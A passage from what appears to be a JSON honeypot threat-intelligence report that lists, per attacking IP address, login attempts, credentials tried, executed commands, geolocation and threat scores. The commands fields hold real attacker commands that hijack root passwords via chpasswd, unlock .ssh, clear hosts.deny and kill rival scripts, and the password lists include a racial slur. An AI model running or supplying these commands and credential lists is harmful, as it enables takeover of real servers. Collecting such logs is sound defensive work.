        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 204957,
      "as_org": "Green Floid LLC",
      "threat_score": 27.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 187,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T15:37:18.492000+00:00",
        "last_seen_30d": "2026-05-24T16:25:45.644000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 44
      }
    },
    "222.107.254.97": {
      "attack_count": 143,
      "first_seen": "2026-05-24T10:27:17.381Z",
      "last_seen": "2026-05-24T11:37:46.842Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cacti",
        "hassan",
        "it",
        "monitor",
        "oracle",
        "testuser",
        "tommy",
        "victor",
        "yaya"
      ],
      "passwords_attempted": [
        "!@#123QWEqwe",
        "1234qwer@",
        "3245gs5662d34",
        "345gs5662d34",
        "Abcde12345",
        "Changeme123!",
        "Wu123456",
        "cacti",
        "hassan123",
        "it@123",
        "killer",
        "oracle123",
        "qwerty",
        "test12345",
        "tommy@123",
        "victor1234",
        "yaya"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:PgoTxDs8qbvd\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Songpa-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 185,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T10:27:17.381000+00:00",
        "last_seen_30d": "2026-05-24T11:38:51.145000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 42
      }
    },
    "124.234.130.244": {
      "attack_count": 136,
      "first_seen": "2026-05-18T21:59:10.993Z",
      "last_seen": "2026-05-19T06:22:01.223Z",
      "sessions": 68,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 207,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T21:59:10.993000+00:00",
        "last_seen_30d": "2026-05-19T06:23:06.011000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 136,
        "Suricata": 71
      }
    },
    "172.172.186.3": {
      "attack_count": 124,
      "first_seen": "2026-05-25T04:07:38.812Z",
      "last_seen": "2026-05-25T07:58:03.071Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "vpnuser"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "Aa121314",
        "Hello@1234",
        "fjbdfdjkdsfs541544@@",
        "q"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345678\\newNXpZ18V62E\\newNXpZ18V62E\\n\"|passwd",
        "echo -e \"12345678\\newNXpZ18V62E\\newNXpZ18V62E\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 28.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 167,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T04:07:38.812000+00:00",
        "last_seen_30d": "2026-05-25T07:59:10.049000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 43
      }
    },
    "78.109.20.100": {
      "attack_count": 118,
      "first_seen": "2026-05-23T03:45:36.757Z",
      "last_seen": "2026-05-23T04:16:58.314Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "ansible",
        "hadoop",
        "pdv",
        "ubuntu",
        "vbox"
      ],
      "passwords_attempted": [
        "102030",
        "123",
        "1234",
        "123@abcd",
        "3245gs5662d34",
        "345gs5662d34",
        "Qq147258",
        "Welcome123!",
        "netup123",
        "pass",
        "pdv",
        "test123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:oKwGbcmbhufc\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Tampa",
      "asn": 401707,
      "as_org": "ARPHost, LLC",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T03:45:36.757000+00:00",
        "last_seen_30d": "2026-05-23T04:18:08.377000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 30
      }
    },
    "161.35.187.212": {
      "attack_count": 104,
      "first_seen": "2026-05-27T18:26:04.584Z",
      "last_seen": "2026-05-27T18:58:35.528Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "user",
        "wso2"
      ],
      "passwords_attempted": [
        "1234@qwer",
        "123qwe!@#",
        "Azerty2025",
        "Lj123456",
        "Qq1234567",
        "abc@2025",
        "nigger123",
        "root",
        "wso2"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123qwe!@#\\nXvDyxZzktEAg\\nXvDyxZzktEAg\\n\"|passwd",
        "echo -e \"123qwe!@#\\nXvDyxZzktEAg\\nXvDyxZzktEAg\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 29.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 128,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T18:26:04.584000+00:00",
        "last_seen_30d": "2026-05-27T18:59:44.949000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 104,
        "Suricata": 24
      }
    },
    "119.156.31.177": {
      "attack_count": 100,
      "first_seen": "2026-05-21T11:16:11.966Z",
      "last_seen": "2026-05-28T14:50:17.868Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Gujrat",
      "asn": 17557,
      "as_org": "Pakistan Telecommunication Company Limited",
      "threat_score": 45.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.0,
        "persistence": 7.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 158,
        "days_active_30d": 9,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-21T11:16:11.966000+00:00",
        "last_seen_30d": "2026-05-29T22:05:48.391000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 100,
        "Suricata": 56,
        "Adbhoney": 2
      }
    },
    "45.148.10.157": {
      "attack_count": 76,
      "first_seen": "2026-05-09T19:03:27.947Z",
      "last_seen": "2026-05-31T19:07:17.480Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 48090,
      "as_org": "Techoff Srv Limited",
      "threat_score": 52.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.2,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 133,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T19:03:27.947000+00:00",
        "last_seen_30d": "2026-05-31T19:08:25.687000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 76,
        "Suricata": 57
      }
    },
    "34.140.93.214": {
      "attack_count": 73,
      "first_seen": "2026-05-19T09:17:12.273Z",
      "last_seen": "2026-05-19T09:18:12.509Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 903",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 20.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T09:17:12.273000+00:00",
        "last_seen_30d": "2026-05-19T09:19:22.046000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 73,
        "Suricata": 42
      }
    },
    "42.238.168.143": {
      "attack_count": 50,
      "first_seen": "2026-05-10T08:04:31.520Z",
      "last_seen": "2026-05-10T08:09:56.990Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T08:04:31.520000+00:00",
        "last_seen_30d": "2026-05-10T08:10:59.013000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "196.92.7.246": {
      "attack_count": 43,
      "first_seen": "2026-05-28T07:47:35.997Z",
      "last_seen": "2026-05-28T08:02:35.727Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "developer",
        "lana",
        "parking"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Passw0rd",
        "fjbdfdjkdsfs541544",
        "lana123",
        "parking"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Casablanca",
      "asn": 6713,
      "as_org": "Itissalat Al-MAGHRIB",
      "threat_score": 27.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T07:47:35.997000+00:00",
        "last_seen_30d": "2026-05-28T08:03:37.667000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 43,
        "Suricata": 18
      }
    },
    "121.229.210.188": {
      "attack_count": 29,
      "first_seen": "2026-05-06T21:11:36.736Z",
      "last_seen": "2026-05-26T09:05:34.908Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134756,
      "as_org": "CHINANET Nanjing Jishan IDC network",
      "threat_score": 39.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.7,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 59,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T21:11:36.736000+00:00",
        "last_seen_30d": "2026-05-26T09:06:43.106000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 30,
        "Cowrie": 29
      }
    },
    "165.245.247.96": {
      "attack_count": 29,
      "first_seen": "2026-05-27T02:40:44.491Z",
      "last_seen": "2026-05-27T04:27:48.468Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "GET /cgi-bin/authLogin.cgi HTTP/1.1",
        "User-Agent: Go-http-client/1.1",
        "GET / HTTP/1.1"
      ],
      "passwords_attempted": [
        "Host: 172.105.186.117:23",
        "Connection: close"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        "Accept: */*",
        "",
        "Odin",
        "User-Agent: Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)",
        "compatible",
        "compatible ; Odin ; https://docs.getodin.com/",
        "https://docs.getodin.com/"
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 71.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.1,
        "persistence": 5.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 130,
        "days_active_30d": 6,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-26T02:40:35.785000+00:00",
        "last_seen_30d": "2026-05-31T13:08:10.700000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 85,
        "Cowrie": 29,
        "Honeytrap": 10,
        "Ipphoney": 2,
        "Mailoney": 2,
        "Dionaea": 1,
        "Tanner": 1
      }
    },
    "31.210.173.60": {
      "attack_count": 24,
      "first_seen": "2026-05-08T09:45:05.529Z",
      "last_seen": "2026-05-10T11:59:27.047Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Naaldwijk",
      "asn": 207728,
      "as_org": "EUROHOSTER Ltd.",
      "threat_score": 8.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T09:45:05.529000+00:00",
        "last_seen_30d": "2026-05-10T12:00:31.040000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "189.101.98.146": {
      "attack_count": 18,
      "first_seen": "2026-05-15T17:54:20.059Z",
      "last_seen": "2026-05-15T17:58:07.174Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "guest",
        "root",
        "toor",
        "user"
      ],
      "commands_executed": [
        "sh"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Curitiba",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T17:54:20.059000+00:00",
        "last_seen_30d": "2026-05-15T17:59:15.107000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 5
      }
    },
    "122.97.212.237": {
      "attack_count": 16,
      "first_seen": "2026-05-06T00:38:31.532Z",
      "last_seen": "2026-05-06T00:40:37.266Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T00:38:31.532000+00:00",
        "last_seen_30d": "2026-05-06T00:40:58.667000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 5
      }
    },
    "187.116.169.16": {
      "attack_count": 16,
      "first_seen": "2026-05-21T11:51:43.757Z",
      "last_seen": "2026-05-21T18:02:47.063Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Betim",
      "asn": 26599,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 17.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T11:51:43.757000+00:00",
        "last_seen_30d": "2026-05-21T18:03:53.927000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "201.77.172.91": {
      "attack_count": 15,
      "first_seen": "2026-05-27T22:46:21.067Z",
      "last_seen": "2026-05-27T22:48:47.342Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "odoo",
        "root"
      ],
      "passwords_attempted": [
        "fjbdfdjkdsfs541544",
        "odoo2025",
        "taiwan"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Belo Horizonte",
      "asn": 28656,
      "as_org": "BTT TELECOMUNICACOES S.A.",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T22:46:21.067000+00:00",
        "last_seen_30d": "2026-05-27T22:49:54.064000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 7
      }
    },
    "210.114.19.195": {
      "attack_count": 12,
      "first_seen": "2026-05-31T07:18:12.065Z",
      "last_seen": "2026-05-31T08:36:23.960Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T07:18:12.065000+00:00",
        "last_seen_30d": "2026-05-31T08:37:33.349000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "138.121.105.204": {
      "attack_count": 10,
      "first_seen": "2026-05-20T06:18:52.732Z",
      "last_seen": "2026-05-20T06:46:52.670Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Jun\u00edn",
      "asn": 263790,
      "as_org": "RED POWER INTERNET SRL",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T06:18:52.732000+00:00",
        "last_seen_30d": "2026-05-20T06:48:01.123000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "206.81.19.43": {
      "attack_count": 10,
      "first_seen": "2026-05-18T02:24:02.281Z",
      "last_seen": "2026-05-23T00:25:28.690Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 58.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 5.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
